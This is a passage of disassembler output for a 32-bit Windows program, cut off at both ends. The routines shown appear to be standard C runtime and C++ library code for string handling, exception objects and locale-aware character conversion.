loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25E0000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2852186h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 2670345h nop pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi call near ptr 2660000h nop test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2821017h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2821017h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2660000h nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2830000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26104B5h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi nop call near ptr 2620000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26104B5h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2821017h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2821017h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2620000h nop mov 